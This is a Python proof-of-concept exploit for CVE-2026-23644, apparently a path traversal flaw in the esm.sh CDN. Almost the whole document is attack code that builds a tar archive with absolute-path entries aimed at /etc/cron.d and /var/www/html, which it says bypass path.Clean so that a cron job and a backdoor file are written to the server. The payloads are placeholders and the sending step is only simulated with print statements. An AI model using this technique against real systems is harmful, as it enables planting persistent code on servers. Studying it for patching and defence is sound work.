CVE-2026-23644 esm.sh CDN路径遍历漏洞

# CVE-2026-23644 PoC - Path Traversal via Malicious Tar File # This PoC demonstrates how to craft a malicious tar file with absolute paths # that can bypass esm.sh's path.Clean validation import tarfile import io import os def create_malicious_tar(): """ Create a tar file containing entries with absolute paths to exploit the path traversal vulnerability in esm.sh """ tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w') as tar: # Create a malicious entry with absolute path # This path will bypass path.Clean validation malicious_content = b'#!/bin/bash\n# Malicious payload\necho "pwned"' # Add file with absolute path - path.Clean won't block this tar_info = tarfile.TarInfo(name='/etc/cron.d/malicious_cron') tar_info.size = len(malicious_content) tar.addfile(tar_info, io.BytesIO(malicious_content)) # Another example: overwrite critical system file another_payload = b'backdoor_content' tar_info2 = tarfile.TarInfo(name='/var/www/html/.malicious') tar_info2.size = len(another_payload) tar.addfile(tar_info2, io.BytesIO(another_payload)) return tar_buffer.getvalue() def exploit_esm_sh(): """ Simulate exploit against esm.sh vulnerable endpoint """ malicious_tar = create_malicious_tar() # The tar file is sent to esm.sh # Due to the bug, path.Clean() normalizes but doesn't block absolute paths # Files are extracted to their absolute locations print(f"Malicious tar created: {len(malicious_tar)} bytes") print("Tar contains entries with absolute paths:") print(" - /etc/cron.d/malicious_cron") print(" - /var/www/html/.malicious") print("\nThese paths bypass path.Clean validation and are written to filesystem") if __name__ == '__main__': exploit_esm_sh()